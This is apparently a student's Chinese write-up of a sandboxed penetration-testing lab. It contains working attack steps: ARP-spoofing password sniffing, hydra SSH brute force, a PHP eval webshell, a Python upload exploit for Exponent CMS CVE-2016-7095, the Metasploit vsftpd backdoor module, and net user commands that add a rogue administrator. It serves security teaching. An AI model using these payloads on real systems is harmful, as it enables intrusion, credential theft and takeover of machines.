网安平台实验1

1.1 网络侦察实验

1.【【实验描述】】

随着时代的发展和网络的普及,在世界各国、各层次的计算机网络中,储存着大量公开资料和机密资料,由于网络漏洞的存在,为“黑客”入侵计算机网络系统获取机密资料提供了很多便利,这些资料引起了各国军事情报部门的重视,都大力开展利用计算机网络系统来获取情报资料的研究和尝试,这便是网络侦察。

网络侦查是指黑客为了更加有效地实施攻击而在攻击前或攻击过程中对目标主机的所有探测活动。网络侦查有时也被称为“踩点”。通常“踩点”包括以下内容:目标主机的域名、IP地址、操作系统类型、开放了哪些端口,以及这些端口后面运行着什么样的应用程序,这些应用程序有没有漏洞等。那么如何收集信息呢?可以利用与技术无关的“社会工程学”、搜索引擎以及扫描工具。

本实验旨在通过在企业复杂网络场景下的网络侦查应用实战,让学生深刻理解网络侦查的概念、特性和原理,掌握网络侦查相关技术,具备对网络进行侦查、渗透、敏感信息获取以及防网络侦查的技术能力,这对于学生的信息安全技术能力提升、国家网络空间安全战略实施,都有非常重要的意义。

本实验内容共包含4个子任务,分别是:

1
2
3
4
任务一 使用nmap、ettercap进行网络侦查和密码嗅探;
任务二 使用crunch、hydra暴力破解ssh服务登陆密码;
任务三 使用ssh登录目标机,获得敏感信息;
任务四 获取目标网站的webshell权限,控制目标机,获得敏感信息。

2实验目的

1
2
3
4
5
6
1.了解网络侦查、信息收集、漏洞挖掘和利用的基本概念以及常用的信息收集和安全漏洞扫描工具,认知常见的网络侦查手段和企业网络安全漏洞。
2.掌握nmap工具的功能和操作方法,并能够分析检侧结果,能够运用这些工具解决目标网络信息探测、漏洞挖掘等常见的安全问题。
3.了解ettercap嗅探工具的基本功能,掌握常见的嗅探相关服务和应用的用户名和密码的方法。
4.了解crunch的基本功能,掌握利用crunch生成密码字典文件的方法。
5.了解hydra密码爆破工具的基本功能和使用方法,掌握常见的爆破服务和应用的用户名和密码的方法。
6.熟悉网站wenshell的概念,理解上传webshell、获取webshell权限的意义和方法,掌握获取webshell权限基础上控制目标机的方法。

通过nmap、ettercap、crunch和hydra等工具的学习和使用,能够融会贯通,掌握相关服务如ftp、web等漏洞挖掘、渗透、攻击和利用的原理和方法,掌握自主学习和实践主流企业网络扫描工具的功能、操作技巧、检测结果分析、网络侦查、漏洞挖掘的常用方法,具备企业复杂网络信息安全管理的职业能力和终身学习能力。

3实验工具

4实验环境

操作系统 IP地址 服务器角色 登录账户密码
kali Linux 192.168.1.2 操作机 用户名:root;密码:Simplexue123
Ubuntu12 192.168.1.3 目标机 用户名:root;密码:Simplexue123
Windows2012 192.168.1.4 目标机 用户名:administrator;密码:Simplexue123

实验拓扑图如下

image-20200316171551313

任务1-使用nmap、ettercap进行网络侦查和密码嗅探

【实验描述】

本实验任务基于真实企业网络环境,在三台服务器搭建的典型企业局域网环境中,主要完成以下内容:

1
2
利用kali集成的扫描工具nmap,对网络进行探测,收集目标网络存活的主机信息,收集主机开放的服务信息。
利用kali集成的嗅探工具ettercap,对FTP服务进行嗅探,获取目标主机的ftp登录密码(提交嗅探到的ftp登录密码)。

通过完成本实验任务,要求学生掌握利用nmap进行网络探测并获取目标主机开放的服务等关键信息的方法;掌握通过ettercap实现对目标主机的服务如ftp进行嗅探的流程、方法和技巧,为完成后续网络侦查和漏洞利用实验任务奠定坚实的网络探测技术基础。

【实验目标】

1
2
3
了解网络侦查、信息收集、漏洞挖掘和利用的基本概念以及常用的信息收集和安全漏洞扫描工具,认知常见的网络侦查手段和企业网络安全漏洞。
掌握nmap工具的功能和操作方法,并能够分析检侧结果,能够运用这些工具解决目标网络信息探测、漏洞挖掘等常见的安全问题。
了解ettercap嗅探工具的基本功能,掌握常见的嗅探相关服务和应用的用户名和密码的方法。

通过nmap、ettercap等工具的学习和使用,能够举一反三,掌握自主学习企业级网络扫描工具功能、操作技巧、检测结果分析、网络侦查、漏洞挖掘的常用方法,最终具备企业复杂网络侦查、漏洞挖掘和信息系统安全管理的职业能力。

【实验工具】

  • nmap(集成于kali linux)
  • ettercap(集成于kali linux)

【实验步骤】

1.

在Kali linux操作系统中打开操作终端,并使用nmap命令扫描192.168.1.0网段的存活主机,并探测该网段存活主机的开放端口、服务、操作系统及版本信息。

可以使用Kali linux集成的nmap工具来完成【操作步骤】1.1,也可以通过操作机自行上传其他工具来完成。

使用Nmap实现网段内的IP发现:

1
2
nmap -sP ip/mask
nmap -sP 192.168.1.0/24

可以看到当前网段存活的IP有192.168.1.2\3\4

image-20200316183326844

1
2
3
#探测开放端口及服务
快速端口扫描
nmap -F -v 192.168.1.0/24

image-20200316183738031

1
2
3
#版本扫描
nmap -sV -v taget_ip
nmap -sV -v 192.168.1.3

image-20200316184802094

1
nmap -sV -v 192.168.1.4

image-20200316185228476

1
2
3
4
#操作系统扫描
nmap -O -v target_ip
nmap -O -v 192.168.1.3
nmap -O -v 192.168.1.4

nmap -O -v 192.168.1.3

没有扫描到该主机是Centos7(no exact OS matches for host)

并且向我们请求,如果我们知道目标主机的版本号的话,请把目标的特征哈希值上传HHH

image-20200316185543332

nmap -O -v 192.168.1.4

可以看到猜测192.168.1.4操作系统版本好最高的为windows 2012的,正确

image-20200506175003615

image-20200316185822712

2.

使用嗅探工具对目标机的vsftpd服务进行嗅探。通过设置监听网卡、主机、开启arp欺骗、启动嗅探等步骤来嗅探网络内的数据包,获取ftp用户名和密码。

提示:可以使用Kali linux集成的ettercap工具来完成【操作步骤】1.2,也可以通过操作机自行上传其他工具来完成。

ettercap命令使用常用参数:

  • -l 显示可用网卡
  • -i 选择网卡
  • -t 协议选择,tcp/udp/all
  • -p 不进行毒化攻击,只用来嗅探
  • -F 载入过滤器文件
  • -V text 将数据包以文本形式显示在屏幕上
  • ettercap -Tzq 以命令行显示,只嗅探本地数据包,只显示捕捉到的用户名和密码以及其他信息

中间人攻击:

  • arp毒化的中间人攻击,arp毒化的原理简单的说就是伪造MAC地址与IP的对应关系,导致数据包由中间人转手出去。这是本实验使用的方法
  • icmp欺骗
  • DHCP spoofing
  • Port Stealing

下面的命令在eth1网卡上用自己的filter嗅探ip为192.168.1.3主机在21端口上的所有通信,并把所有的数据包保存成文件名为“sniffeddata”的文件

1
ettercap -i eth1 -Tq -L sniffeddata -M arp:remote //192.168.1.3/21//

输入之后如下,开始跑了:

image-20200522230352149

嗅探到了:

1
2
3
4
ip:192.168.1.3:21->uesr:hacker  PASS :123456
ip:192.168.1.3:21->USER: ftp PASS :ftp123
ip:192.168.1.3:21->USER: hacker PASS:123456
ip:192.168.1.3:21->USER: hacker PASS:123456

image-20200523101447397

【实验结果】

将嗅探到的ftp登陆密码作为【实验结果】提交,提交成功后该实验任务完成。

image-20200523101752836

任务2-使用crunch、hydra暴力破解ssh服务

【实验目的】

本实验任务在三台服务器搭建的典型企业局域网环境中,主要完成以下内容:

  • 利用kali集成的crunch工具,生成密码字典文件。

  • 使用hydra工具暴力破解ssh服务的登陆密码,以便完全控制目标主机系统

通过完成本实验任务,要求学生掌握服务密码破解原理、技术和工具的使用方法,具备娴熟的系统服务密码破解、漏洞挖掘和利用、信息安全管理和防范的职业能力。

【实验目标】

  1. 了解crunch的基本功能,掌握利用crunch生成密码字典文件的方法。

  2. 了解hydra密码爆破工具的基本功能和使用方法,掌握常见的爆破服务和应用的用户名和密码的方法。

  3. 通过crunch和hydra等工具的学习和使用,掌握字典文件的生成、破解密码等常用的漏洞挖掘和利用技术,具备熟练的漏洞挖掘和防攻击能力。

【实验环境】

crunch(继承于kali linux)

hydra(继承于kali linux)

【实验步骤】

2.1在操作机使用相关工具生成密码字典文件password.txt,要求从字符串“hacker +123456”中,随机选9个字符进行排列组合。

⭐提示:可以使用Kali linux集成的crunch工具来完成【操作步骤】2.1,也可以通过操作机自行上传其他工具来完成。

crunch命令:

1
-p#定义密码元素 字符串 或者-p 单词1 单词2 ...以排列组合的方式来生成字典。

9 9表示生成最短长度为9位,最长长度为9位,-o 的意思是保存为XXX文件,-p是指以排列组合的方式来生成字典

1
crunch 9 9 password.txt -p hacker+123456

image-20200523121823112

⭐吐槽:实验设计不合理,密码排列组合过多,磁盘空间不够(10G+),虚拟机存活时间不能满足(1天)

按理说排列组合的公式如下

image-20200523122101396而crunch算hacker+123456(13个字符选9个)的密码排列组合预计6227020800=13!个明显是算错了,不过无所谓通过查看磁盘分区命令,可以看到磁盘大够满足字典的大小

1
df -hl

image-20200523113534965

可以看到,本虚拟机最多空闲空间10多G,无法满足我们的需求
所以我继而使用hacker+123(10个字符选9个)的排列组合

image-20200523113205792

需要遍历10!=3628000个密码,然而在后面用hydra工具破解时,平均2秒过一个密码我们来计算一下时间3628000*2/60/60=2015 hours (然鹅虚拟机晚上就关闭了,没有足够的时间来完成遍历)

即使选择hacker123(9个字符选9个)的排列组合,需要9!=362,880‬,一顿计算下来需要时间201小时,仍然不能遍历完成!!

不过我们死马当活马医,没准hacker+123456的组合6227020800个密码,一开始就遍历到了呢?

生成完成,查看生成的密码:

1
cat password.txt

image-20200523112951808

2.2在操作机使用相关工具爆破目标机(192.168.1.3)远程用户hacker的密码。

⭐提示:可以使用Kali linux集成的hydra工具来完成【操作步骤】2.2,也可以通过操作机自行上传其他工具来完成。

这里的破解用户指的是,破解ssh用户

由于其要求用户名必须在txt文件中,所以我们先将hacker存到hacker.txt中

1
2
3
4
>touch hacker.txt
>echo "hacker">hacker.txt
>cat hacker.txt
>hacker

然后我们输出ssh

1
2
hydra -L users.txt -P password.txt -t 1 -vV -e ns ip ssh 默认
hydra -L hacker.txt -P password.txt -t 1 -vV -e ns 192.168.1.3 ssh

image-20200523114827811

image-20200523115214026

最终我们跑得目标密码结果如下

1
[ssh] host:192.168.1.3 login:hacker  password:hacker123

image-20200523123534717

【实验结果】

将hydra破解的密码作为【实验结果】提交,提交成功后该实验任务完成

image-20200523123723175

任务3-使用ssh登录目标机并获取key值,获得敏感信息

【任务描述】

  • 本实验任务在任务二操作完成的基础上,远程连接目标机,获得敏感信息。

  • 通过完成本实验任务,要求学生掌握使用ssh远程连接目标机的方法,并在进入系统后,掌握查看文件信息的命令。

【实验目标】

掌握使用ssh远程连接目标机的方法

使用相关命令,查看文件内容,获得敏感信息

【实验工具】

ssh

linux命令:ls、more

【操作步骤】

ssh登陆

1
ssh root@10.0.0.10

image-20200523153142138

linux命令

1
2
3
ls
more 1.key
>ettercap

image-20200523153247375

【实验结果】

将1.key文件中的内容作为【实验结果】提交,提交成功后该实验任务完成

image-20200523153717886

任务4-获取目标网站的webshell权限,控制目标机,获得敏感信息

【任务描述】

本实验任务在三台服务器搭建的典型企业局域网环境中,主要完成以下内容:

  • 编写脚本,获得目标机网站webshell权限。
  • 向目标机添加新用户,以便完全控制目标主机系统,获得敏感信息。

通过完成本实验任务,要求学生在掌握webshell上传及权限获取方法的基础上,掌握向目标机添加新用户,设置用户权限并实现目标机控制的方法,进而掌握企业级复杂网络webshell相关的高级漏洞挖掘和利用方法,具备信息系统安全管理职业能力。

【实验目标】

  • 理解webshell权限获取的意义和方法。
  • 掌握获取webshell权限基础上控制目标机的方法。
  • 掌握企业级复杂网络漏洞挖掘和利用方法。
  • 具备信息系统安全管理职业能力。

【实验工具】

firefox

python

【操作步骤】

🚀本实验主要基于一个开源内容管理系统Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)的基础上的。(安全客分析)[https://www.anquanke.com/post/id/84514]

  • 没有对后缀名进行一个检测,可以上传任意文件。文件命名的方式是time()+下划线+文件名。
  • 紧跟着就有一个文件删除的操作。
  • 但在删除之前,调用了一个正则匹配是验证你是否是有效的邮箱地址,如果不是有效的邮箱地址,就会throw出错误信息,也导致了程序的文件删除操作无法执行。

startx进入kali图形化界面

4.1在操作机创建脚本,建立一个上传表单;建立一个php文件,作为一句话木马。通过上传表单上传一句话。

提示:对于该步骤,上传表单可使用html,也可以通过操作机自行上传自己已有的脚本来完成。

在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此。【基本原理】@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘attack’]表示从页面中获得attack这个参数值。

1
2
3
4
5
#最简单的一句话木马:
<?php @eval($_POST['attack']) ?>
#本实验的木马,添加phpinfo显示PHP的当前信息
<?php
eval($_REQUEST[cmd]); phpinfo();?>

image-20200523173026295

如下建立上传表单:

image-20200523170530261

1
2
3
4
5
6
7
8
import requests
#url
url_for_upload='http://192.168.1.4/index.php?module=eventregistration&action=emailRegistrants&email_addresses=123456789@123.com&email_message=1&email_subject=1'
#打开文件
files={'attach':open('index.php','rb')}
#
requests.post(url_for_upload,files=files)
print 'upload finish'

4.2在浏览器另外一个页面快速打开http://192.168.1.4/index.php?module=eventregistration&amp;action=eventsCalendar,获得时间戳,分析可知上传的文件名以时间戳+下划线+原文件名称来命名。

4.3编写脚本并运行,获得上传的文件的URL路径。

(提示:对于该步骤,可使用python来编写脚本,也可以使用其他语言来编写脚本,或者通过操作机自行上传自己已有的脚本来完成)

image-20200523165356054

image-20200523170304481

上传YijuHua.php

image-20200523172751055

运行代码,找到了

image-20200523172604037

image-20200523173238445

4.4在浏览器地址栏中输入“http://192.168.1.4/ tmp/1516041535_exp.php?cmd=system('cmd命令' );”,通过设置不同的system()函数命令参数(这里以cmd命令指代),并执行相应命令,如查看端口、用户等。

查看端口:

image-20200523173737856

4.5向目标机网站(http://192.168.1.4)添加新用户,用户名:hacker,密码:Beijing123。

1
net user hacker Beijing123 /add

4.6把hacker用户添加到管理员组,并远程连接目标机,远程连接的时候注意远程连接的端口。

1
net localgroup administrators hacker /add

4.7以hacker用户(用户名:hacker、密码:Beijing123)身份登录目标机系统。

(提示:可使用工具rdesktop远程连接目标机,远程连接端口可通过在浏览器中使用system()函数执行相关命令来获得)

1
rdesktop 192.168.1.4:35155

4.8设置目标机C:\2.key文件的可读权限,并查看该文件的具体内容。

设置权限——完全控制

image-20200529204924371

【实验结果】

将探测到的目标机上key2.txt文件的内容作为【实验结果】提交,提交成功后该实验任务完成。

结果如下:

image-20200523175321680

image-20200523175425720

1.2 漏洞挖掘实验

任务一 使用nmap、MSF和Metasploit进行漏洞挖掘和利用

【任务描述】

本实验任务基于真实企业网络环境,在三台服务器搭建的典型企业局域网环境中,主要完成以下内容:

利用kali集成的扫描工具nmap,对网络进行探测,收集目标网络存活主机信息,并利用主机开放的服务器,获取目标主机的root权限。
利用kali集成的MSF和Metasploit两个工具,实现对目标主机的漏洞探测和利用,并成功攻击目标机。

通过完成本实验任务,要求学生掌握利用nmap进行网络探测并获取目标主机root权限等关键信息的方法;掌握通过MSF和Metasploit实现对目标主机的漏洞探测和漏洞模块利用的流程、方法和技巧,为完成后续漏洞挖掘实验任务奠定坚实的网络探测技术基础。

【实验目标】

了解网络安全漏洞的概念以及现有的安全漏洞扫描工具。认知常见网络安全漏洞。
了解扫描工具nmap的基本使用方法,掌握常用的网络扫描和探测命令。
掌握利用nmap进行网络探测并获取目标主机root权限等关键信息的方法。
了解MSF和Metasploit工具的基本功能,掌握常用的漏洞探测和利用命令。
掌握通过MSF和Metasploit实现对目标主机的漏洞探测和漏洞模块利用技术和方法。

通过nmap、MSF和Metasploit等工具的学习和使用,能够融会贯通,掌握自主学习和实践主流企业级网络扫描工具功能、操作技巧、检测结果分析、漏洞挖掘的常用方法,最终具备企业复杂网络漏洞挖掘的职业能力。

【实验工具】

  • nmap(集成于kali linux)
  • msf(集成于kali linux)
  • metasploit(集成于kali linux)

【操作步骤】

1.1在Kali linux操作系统中打开操作终端,并使用nmap命令扫描192.168.1.0网段的存活主机,并探测该网段存活主机的开放端口、操作系统及版本信息。

提示:可以使用Kali linux集成的nmap工具来完成【操作步骤】1.1,也可以通过操作机自行上传其他工具来完成。

注意:nmap命令功能较强,参数众多,不同命令执行需要的时间长短不一(长则数分钟)。若遇到长时间没有结果返回,建议ctrl-c停止执行,并更换命令参数,或者增加-v获取更详细的扫描进展

1
nmap -sn 192.168.1.0/24 #扫描网段内存活主机

image-20200529105450765

1
2
nmap -F 192.168.1.3
nmap -F 192.168.1.4

image-20200529105728752

1.2使用网络扫描工具搜索vsftpd FTP服务器程序的相关工具和攻击载荷,搜索出vsftpd FTP服务器的漏洞利用模块信息,并启用漏洞利用模块,设置目标主机的IP地址,然后扫描探测可以在目标主机执行的shellcode代码,并在远程目标主机执行该shellcode代码。最后对目标主机实施溢出攻击。

提示:可以使用Kali linux集成的MSF工具来完成【操作步骤】1.2,也可以通过操作机自行上传其他工具来完成。

1
2
msfconsole
search vsftpd

image-20200529110348767

1
2
3
4
use exploit/unix/ftp/vsftpd_234_backdoor
set rhost 192.168.1.3
set payload cmd/unix/interact
show options

image-20200529110758676

1.3在目标主机上查找扩展名为key的文件,并查看1.key文件内容。

提示:可以使用Kali linux集成的MSF工具来完成【操作步骤】1.3,也可以通过操作机自行上传其他工具或使用其他命令来完成。

1
2
3
4
5
6
exploit
#查找/目录中文件名为1.key的文件
find / -name 1.key
> /usr/src/1.key
cat /usr/src/1.key
> metasploit

image-20200529112613572

【实验结果】

将1.key文件中的内容作为【实验结果】提交,提交成功后该实验任务完成。

image-20200529112828342

任务二 使用nikto、crunch和burpsuite进行网站渗透和控制

【任务描述】

本实验任务基于真实企业网络环境,在三台服务器搭建的典型企业局域网环境中,主要完成以下内容:

利用kali集成的扫描工具nikto和crunch,对目标网站进行探测,根据收集的信息进行渗透(提交网站后台管理员登陆密码),获取网站的webshell。
使用burpsuit工具软件暴力破解目标网站管理员登陆密码,以完全控制目标主机系统。

通过完成本实验任务,要求学生掌握对网站进行探测和渗透的技术和工具使用方法,具体包括:利用nikto进行网页服务器探测扫描的方法;掌握使用crunch生成密码字典文件的方法;掌握burpsuit工具软件暴力破解登陆密码的方法,具备更为夯实的漏洞挖掘和利用、信息系统安全防范的职业能力。

【实验目标】

  • 了解网络漏洞渗透、webshell的概念,认知常用的安全漏洞扫描工具。
  • 了解nikto工具的基本功能,熟悉其常用的网页服务器扫描和探测命令。
  • 了解crunch的基本功能,掌握利用crunch生成密码字典文件的方法。
  • 了解burpsuit工具的基本功能,掌握其暴力破解密码的基本方法。

通过nikto、crunch和burpsuit等工具的学习和使用,掌握对网站进行渗透、获取webshell、破解密码等常用的漏洞挖掘和利用技术,领会预防漏洞攻击的方法,具备丰富的漏洞挖掘和防攻击能力。

【实验工具】

【操作步骤】

2.1在操作机终端中扫描目标机网站(http://192.168.1.4)目录结构,查看目标网站的/admin/login.php后台管理界面。

提示:可以使用Kali linux集成的Nikto工具来完成【操作步骤】2.1,也可以通过操作机自行上传其他工具来完成。

startx进入kali图形化界面

image-20200529114055478

2.2在目标机的/root/目录下创建password.txt字典文件,生成字典文件的目的是为了暴力破解做准备,为了让生成的密码字典可能包含真正的密码,我们一般需要提前做一些社工工作,根据常人使用弱口令的习惯生成字典文件,例如:用户名为admin,则:密码可能为admin加3-5位数字的字符串。暴力破解是一个比较耗时的操作,本次实验只是为了教学使用。因此大家可以尝试使用crunch命令,生成一个每行以admin开头加3位随机数字共8位字符串长度的字典文件。

提示:可以使用Kali linux集成的crunch工具来完成【操作步骤】2.2,也可以通过操作机自行上传其他工具来完成。

1
crunch 8 8 /rrot/password.txt -t admin%%%

image-20200529114727202

2.3在操作机中使用Firefox浏览器访问目标网站。通过以下链接打开后台管理界面:http://192.168.1.4/admin/login.php。在登录窗口中输入用户名和密码信息,用户名:admin,密码:123456。

2.4使用Firefox浏览器工具栏中的“设置”工具进行“Manual Proxy”配置,配置信息如图所示。

1
about:preferences#advanced

image-20200529120324890

2.5在操作机中打开burpsuit软件,同时在目标机网站登录对话框中,单击“Submit”按钮,登录网站后台,这时burpsuit将截取发送的数据包。

image-20200529121231754

2.6 在BurpSuite操作窗口中,查看截取到的目标机登录用户名和密码信息,操作画面如图所示。

image-20200529121354225

2.7对password字段进行暴力破解,并提交破解的登录密码password的值。

提示:可以使用BurpSuite工具来完成对目标网站用户admin登录密码的破解,也可以通过操作机自行上传其他工具来完成。

注意:使用burpsuit工具进行密码破解时,由于使用了请求重定向技术,请求都将被代理到burpsuit。也正是因为请求被代理,所以将产生临时性网页无法正常打开、进入等待状态的现象。密码破解成功后取消代理即可恢复正常,正常打开所需网页。

image-20200529121636111

image-20200529123054298

image-20200529123704550

image-20200529123808639

【实验结果】

将破解的admin登录密码作为【实验结果】提交,提交成功后该实验任务完成。

image-20200529123724462

任务三获取webshell权限并拿到目标机开放的远程桌面端口号

【任务描述】

本实验任务在任务二操作完成的基础上,上传目标机网站的webshell,然后利用获取的网站webshell权限,查看目标主机信息,提交目标主机远程桌面端口号,为下一任务添加用户,完全控制目标主机系统做环境准备。

通过完成本实验任务,要求学生理解webshell的概念,掌握webshell上传方法,以及通过webshell查看目标机信息的方法。

【实验目标】

  • 熟悉网站wenshell的概念,理解上传webshell、获取webshell权限的意义和方法。
  • 掌握通过网站webshell信息获取其用户及密码信息的方法。
  • 掌握通过webshell查看目标机关键信息的方法。

【实验工具】

Firefox(火狐浏览器)

【操作步骤】

3.1在任务二的实验基础上,使用破解的管理员用户信息登录目标机网站后台,用户名:admin,密码:admin452。

image-20200529194505404

3.2登录目标机网站后台后,设置用户自定义标记(Add User Defined Tag),配置信息为name:“hacker”,code:“system(“whoami”);”,如图3-1所示。

image-20200529124144298

输入hacker,system("whoami");,提交

image-20200529124232644

点击新添加的tags:hacker

image-20200529194649256

然后点击RUN,系统返回执行结果。可以看到页面输出了以下内容,我们获取了root用户权限。

image-20200529124447025

3.3在如图3-1所示画面中的code区域,尝试设置不同的system()函数命令参数,并执行相应命令,最终获取目标网站webshell提权。在浏览器地址栏中输入“ http://192.168.1.4/1.php?m=system(“whoami”);” ,执行命令“whoami”,显示webshell权限,如图所示。

通过触发一个错误,我们可以看到,当前路径名,这样我们就可以把木马文件植入到这个目录下了。

image-20200529195532320

我们可以利用这个code区,上传一句话木马文件。

image-20200529200533653

RUN执行,可以得到如下结果

image-20200529201058479

3.4 接下来我们就可以利用上传的一句话木马执行命令,查找目标主机开放的远程桌面端口了。

1
192.168.1.4/1.php?c=system("tasklist -svc");

image-20200529202243911

1
2
192.168.1.4/1.php?c=system("netstat -ano");
发现这个程序的端口号为45565

image-20200529202214286

【实验结果】

将探测到的目标机开放的远程桌面端口作为【实验结果】提交,提交成功后该实验任务完成。

image-20200529202501393

任务四 向目标机添加新用户并控制目标机

【任务描述】

本实验任务在任务三操作完成的基础上,向目标机添加新用户,并完全控制目标主机系统。

通过完成本实验任务,要求学生在掌握webshell上传及权限获取方法的基础上,掌握向目标机添加新用户,设置用户权限并实现目标机控制的方法,进而掌握企业级复杂网络webshell相关的高级漏洞挖掘和利用方法,具备高级漏洞挖掘和利用、信息系统安全管理的职业能力。

【实验目标】

  • 理解webshell权限获取的意义和方法。
  • 掌握获取webshell权限基础上控制目标机的方法。
  • 掌握企业级复杂网络漏洞挖掘和利用方法。

具备高级漏洞挖掘和利用职业能力。

【实验工具】

Firefox(火狐浏览器)

【操作步骤】

4.1向目标机网站(http://192.168.1.4)添加新用户,用户名:hacker,密码:Beijing123。

1
net user hacker Beijing123 /add

image-20200529204023388

4.2把hacker用户添加到管理员组,并远程连接目标机,远程连接的时候注意远程连接的端口。

1
net localgroup administrators hacker /add

image-20200529204433906

4.3以hacker用户(用户名:hacker、密码:Beijing123)身份登录目标机系统。

(提示:可使用工具rdesktop远程连接目标机,远程连接端口可通过在浏览器中使用system()函数执行相关命令来获得)

1
rdesktop -a 16 192.168.1.4:45565 #端口与第一题不一样

image-20200529204949002

4.4设置目标机C:\2.key文件的可读权限,并查看该文件的具体内容。

设置权限——完全控制

image-20200529204924371

最终得到结果:Zenmap

image-20200529204908952

【实验结果】

将探测到的目标机上key2.txt文件的内容作为【实验结果】提交,提交成功后该实验任务完成。

image-20200529205234362

1.3 FTP连接与密码明文抓取-wireshark

【实验目的】

  • 掌握数据嗅探的原理
  • 了解协议封装的过程
  • 掌握典型的嗅探工具的使用

【实验原理】

FTP 是File Transfer Protocol(文件传输协议)的英文简称,而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。同时,它也是一个应用程序(Application)。基于不同的操作系统有不同的FTP应用程序,而所有这些应用程序都遵守同一种协议以传输文件。在FTP的使用当中,用户经常遇到两个概念: 下载 (Download)和 上传 (Upload)。 下载 文件就是从远程主机拷贝文件至自己的计算机上; 上传 文件就是将文件从自己的计算机中拷贝至远程主机上。用Internet语言来说,用户可通过客户机程序向(从)远程主机上传(下载)文件。

Wireshark(前称Ethereal)是一个网络封包分析软件。网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。

【实验工具】

image-20200523183735541

目标机:192.168.1.3
工具:C:\实验工具集\06_网络与无线安全\02_嗅探与欺骗

【操作步骤】

一、设置wireshark抓包参数

1.1 打开” C:\实验工具集\06_网络与无线安全\02_嗅探与欺骗\第1节 FTP连接与密码明文抓取-wireshark”目录下的WireShark。

1.2 在Capture菜单项中设置抓包的相关参数。

1.3 选择Interfaces…选项,对话框显示可操作的网络适配器。如图所示。

image-20200523185215942

1.4 通过Options选项,设置如抓包模式、过滤器、数据包限制字节、存档文件模式、停止规则、名字解析等参数,设置完毕,即可开始捕获网络数据包。如图所示。

image-20200523185338662

二、Wireshark下数据包的解析

2.1 首先介绍一下网络结构。网络结构可以分为4层,每层都有不同的功能,由不同的协议组成。如图所示。

image-20200523185402160

2.2 EthernetII的帧结构为目的MAC地址+源MAC地址+上层协议类型+数据字段+校验。WireShark利用树形结构显示的协议。如图所示。

image-20200523185911287

2.3 第一行为WireShark添加、该帧的相关统计信息。包括捕获时间、编号、帧长度、帧中所含有的协议等。如图所示。

image-20200523185833495

2.4 第二行为链路层信息,包括目的MAC地址、源MAC地址、上层协议类型。如图所示。image-20200523185954122

2.5 第三行为网络层信息,如此处为IP协议。细节包括版本、头部长度、总长度、标志位、源/目的IP地址、上层协议等。如图所示。

image-20200523190010259

2.6 第四行为传输层信息,包括源/目的端口、序列号、期望的下个序列号、确认号、头部长度、标志位、窗口长度、校验和等。如图所示。

image-20200523190028326

2.7 第五行为应用层信息,内容由具体的应用层协议决定,此处为FTP协议,显示的是响应内容。如图所示。

image-20200523190532347

三、连接建立

3.1打开” C:\实验工具集\06_网络与无线安全\02_嗅探与欺骗\第1节 FTP连接与密码明文抓取-wireshark”目下下的wireshark软件。

3.2单击“start”按钮,开始抓包。如图所示

image-20200523191340943

3.3 打开我的电脑或者资源管理器,在地址栏中输入“ftp:\\192.168.1.3”,默认帐号(test)和密码(123456)。

image-20200523191601668

3.4认证成功后。

3.5在wireshark界面中,找到登陆的帐号(test)和密码(123456)

image-20200523191654768

【实验结果】

image-20200523192948988

1.4 kali主机探测命令与工具集

【实验目的】

熟悉ping、arping、fping、hping3、nbtscan、nping、p0f、xprobe2工具对目标主机的探测方法。

【实验原理】

目标识别工具发送特殊构造的数据包,根据返回的应答数据包猜测出目标的端口开放和服务开放情况。

【实验环境】

Kali操作系统

image-20200523195226289

【实验步骤】

一、探测工具

1.1 ping检查主机是否在线的工具。发送ICMP ECHO REQUEST包到目标主机,如果目标主机在线井且不堵塞ping请求,将回复ICMP ECHO REPLY包。单击桌面,右键菜单选择“在终端中打开”。
命令选项:

  • c count, ECHO_REQUEST包发进数量。
  • i interface address:源地址网络接口。该参数可以是lP地址或网卡名称。
  • s packetfsize;指定要发送的数据字节数。默认值是56,然后再与8字节的ICMP头数据组台成64字节的ICMP数据

1.2 在终端中输入命令“ping –c 5 –s 2000 192.168.1.3”,发送5个大小为2000字节的数据包。注意:发送2000字节的数据包在当前环境下过大,有可能会造成发送失败,所以在做实验的过程中如果出现这个问题,将数值改小一点即可。如图所示。

image-20200524083529309

1.3 arping是一个在LAN中使用ARP地址解析协议发现目标主机的工具。arping工具测试特定IP地址在网络中是否在线。该命令只能运行本地局域网内,无法跨越路由器和网关,常用的选项为apring –c,在终端中输入命令“arping –c 4 192.168.1.3”,发送四个ping数据包到目标主机。如图所示

image-20200524083636078

1.4 fping命令同时向多个主机发送ping (ICMP ECHO)请求,fping通过监视目标主机的回复来判断主机是否可用。如果目标主机发送回应将会从目标记录清单中删除,如果目标主机不响应,该主机将会被标记为不可达。默认情况下,fping将尝试向每个目标发送三个ICMP ECHO包。如图所示。

1
2
192.168.1.3 is alive
192.168.1.4 is unreachable

image-20200524083916126

1.5在终端中输入命令“hping3”回车后可以打开Tcl脚本交互式界面。向目标主机192.168.1.3发送一个icmp echo request请求数据包。在终端中输入命令“hping send {ip(daddr=192.168.1.3)+icmp(type=0,code=0)}”,即发送ping应答,然后再输入命令“hping recv eth0”用户监听返回的数据包。如图所示。

image-20200524085035752

1.6 nbtscan 通过扫描lP地址获取目标NetBIOS名字信息的工具,生成包含对应主机IP地址、NetBIOS计算机名、可用服务、登录用户名和MAC地址的报告,在终端中输入命令“nbtscan 192.168.1.3”查看目标主机的NETBIOS信息。如图所示。

image-20200524085129930

1.7 在终端中输入“nbtscan –hv 192.168.1.3”, 参数-hv查看目标主机运行服务。如图所示。

image-20200524085247858

1.8 nping支持多协议(TCP、UDP、ICMP、ARP),且允许用户设置网络报文格式的探测工具,可以自定义协议头中的字段,在终端中输入命令“nping -c 2 --tcp -p 80 --flags syn 192.168.1.3”,向目标主机80端口发送带SYN标志的TCP数据包2个。如图所示。

image-20200524085419395

二、系统识别

2.1 p0f是用被动方式探测目标主机操作系统类型的工具,在命令终端中输入命令“p0f –o /root/p0f.log“,把登录信息保存到p0f.log文件中。如图所示。

image-20200524085714665

2.2在打开另外一个终端,在终端中输入命令“ftp 192.168.1.3”. 登录目标主机的FTP服务器(用户名:administrator、密码:Simplexue123)。如图所示。

image-20200524085900431

